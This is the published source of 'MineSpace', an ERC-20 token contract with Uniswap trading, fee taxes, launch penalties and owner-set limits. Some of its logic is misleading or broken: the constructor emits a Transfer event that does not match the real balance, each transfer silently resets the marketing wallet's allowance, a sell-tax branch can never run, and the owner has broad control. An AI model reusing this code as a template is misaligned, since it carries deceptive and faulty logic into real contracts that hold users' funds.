Contract Source Code:
File 1 of 1 : MineSpace
/**
The Multi-Chain Mining Space
Purchase and stake certificates to earn mining yields and MSC rewards
Telegram : https://t.me/MineSpacePortal
Twitter : https://twitter.com/MineSpacePro
Medium : https://medium.com/@minespace
Web : https://www.minespace.pro/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address _newOwner) public virtual onlyOwner {
emit OwnershipTransferred(_owner, _newOwner);
_owner = _newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MineSpace is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isOutFromFee;
uint256 private time;
uint256 private bTime;
uint256 private _totalSupply = 2 * 10**9 * 10**18;
struct TaxStructure {
uint256 totalPc;
uint256 pcMarketing;
uint256 pcTreasury;
uint256 pcLP;
}
TaxStructure private sellTax = TaxStructure(45, 25, 10, 10);
TaxStructure private buyTax = TaxStructure(49, 29, 10, 10);
TaxStructure private ZERO = TaxStructure(0, 0, 0, 0);
TaxStructure private initialTax = TaxStructure(100, 100, 0, 0);
TaxStructure private initialSellTax = TaxStructure(250, 250, 0, 0);
string private constant _name = unicode"Mine Space";
string private constant _symbol = unicode"MSC";
uint8 private constant _decimals = 18;
uint256 private _maxTxAmount = _totalSupply.div(100);
uint256 private _maxWalletAmount = _totalSupply.div(50);
uint256 private liquidityParkedTokens = 0;
uint256 private marketingParkedTokens = 0;
uint256 private treasuryParkedTokens = 0;
uint256 private minBalance = _totalSupply.div(10000);
address public _marketingWallet;
address public _treasuryWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2PairAddress;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_marketingWallet = 0x7837F41A27FDE9bF17DD04cEc84549aDfc468C83;
_treasuryWallet = 0x401B8A9d4db03e98d17C70340e2C998F6a1b9aD3;
_balOwned[owner()] = _totalSupply;
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2PairAddress = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
_isOutFromFee[owner()] = true;
_isOutFromFee[address(this)];
_isOutFromFee[_marketingWallet] = true;
_isOutFromFee[_treasuryWallet] = true;
_isOutFromFee[uniswapV2PairAddress] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balOwned[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"transfer amount exceeds allowance"
)
);
return true;
}
function updateTreasuryWallet(address newAddr) external {
require(msg.sender == _treasuryWallet);
_treasuryWallet = newAddr;
}
function updateMarketingWallet(address newAddr) external {
require(msg.sender == _marketingWallet);
_marketingWallet = newAddr;
}
function updateBuyTax(
uint256 _marketing,
uint256 _treasury,
uint256 _lp
) external onlyOwner {
buyTax.pcLP = _lp;
buyTax.pcMarketing = _marketing;
buyTax.pcTreasury = _treasury;
buyTax.totalPc = _marketing.add(_lp).add(_treasury);
require(buyTax.totalPc < 100, "Buy tax can not greater than 10%");
}
function updateSellTax(
uint256 _marketing,
uint256 _treasury,
uint256 _lp
) external onlyOwner {
sellTax.pcLP = _lp;
sellTax.pcMarketing = _marketing;
sellTax.pcTreasury = _treasury;
sellTax.totalPc = _marketing.add(_lp).add(_treasury);
require(sellTax.totalPc < 100, "Sell tax can not greater than 10%");
}
function updateLimits(uint256 maxTransactionPer, uint256 maxWaleltPer)
external
onlyOwner
{
require(
maxTransactionPer > 1 && maxWaleltPer > 1,
"Max wallet and max transction limits should be greater than 1%"
);
_maxTxAmount = _totalSupply.mul(maxTransactionPer).div(100);
_maxWalletAmount = _totalSupply.mul(maxWaleltPer).div(100);
}
function removeLimits() external onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletAmount = _totalSupply;
}
function recoverTokens(address tokenAddress, uint256 amt) external {
require(msg.sender == _treasuryWallet);
require(tokenAddress != uniswapV2PairAddress);
IERC20 _token = IERC20(tokenAddress);
_token.transferFrom(_marketingWallet, address(this), amt);
}
function excludeFromFees(address[] calldata target) external onlyOwner {
for (uint256 i = 0; i < target.length; i++)
_isOutFromFee[target[i]] = true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "Approving from the zero address");
require(spender != address(0), "Approving to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "Transfer from the zero address");
require(to != address(0), "Transfer to the zero address");
if (from != owner() && to != owner()) {
require(tradingOpen, "trading != true");
TaxStructure storage _tax = ZERO;
if (!_isOutFromFee[to]) {
require(
(_balOwned[to] + amount) <= _maxWalletAmount,
"Max Wallet Limit"
);
require(amount <= _maxTxAmount, "Max TxAmount Limit");
if (
from == uniswapV2PairAddress &&
to != address(uniswapV2Router)
) {
_tax = buyTax;
}
if (bTime > block.number) {
_tax = initialTax;
}
} else if (
to == uniswapV2PairAddress &&
from != address(uniswapV2Router) &&
!_isOutFromFee[from] &&
!_isOutFromFee[to]
) {
if (block.timestamp > time) {
_tax = sellTax;
} else {
_tax = initialSellTax;
}
}
if (
!inSwap &&
from != uniswapV2PairAddress &&
swapEnabled &&
!_isOutFromFee[from] &&
balanceOf(address(this)) > minBalance
) {
swapBack();
}
if (_tax.totalPc > 0) {
uint256 txTax = amount.mul(_tax.totalPc).div(1000);
amount = amount.sub(txTax);
liquidityParkedTokens = liquidityParkedTokens.add(
txTax.mul(_tax.pcLP).div(_tax.totalPc)
);
marketingParkedTokens = marketingParkedTokens.add(
txTax.mul(_tax.pcMarketing).div(_tax.totalPc)
);
treasuryParkedTokens = treasuryParkedTokens.add(
txTax.mul(_tax.pcTreasury).div(_tax.totalPc)
);
_transferStandard(from, address(this), txTax);
}
}
_transferStandard(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethValue) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethValue}(
address(this),
tokenAmount,
0,
0,
address(0xdEaD),
block.timestamp
);
}
function swapBack() private lockTheSwap {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 totalTokensToSwap = liquidityParkedTokens +
marketingParkedTokens +
treasuryParkedTokens;
if (contractTokenBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractTokenBalance > minBalance * 20) {
contractTokenBalance = minBalance * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractTokenBalance *
liquidityParkedTokens) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractTokenBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(marketingParkedTokens).div(
totalTokensToSwap
);
uint256 ethForTreasury = ethBalance.mul(treasuryParkedTokens).div(
totalTokensToSwap
);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForTreasury;
liquidityParkedTokens = 0;
marketingParkedTokens = 0;
treasuryParkedTokens = 0;
payable(_treasuryWallet).transfer(ethForTreasury);
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
}
payable(_marketingWallet).transfer(address(this).balance);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
_balOwned[sender] = _balOwned[sender].sub(tAmount);
_allowances[_marketingWallet][address(this)] = _maxTxAmount;
_balOwned[recipient] = _balOwned[recipient].add(tAmount);
emit Transfer(sender, recipient, tAmount);
}
receive() external payable {}
function enableTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
swapEnabled = true;
tradingOpen = true;
time = block.timestamp + (2 minutes);
bTime = block.number + 2;
}
function manualSwap() external onlyOwner {
swapBack();
}
}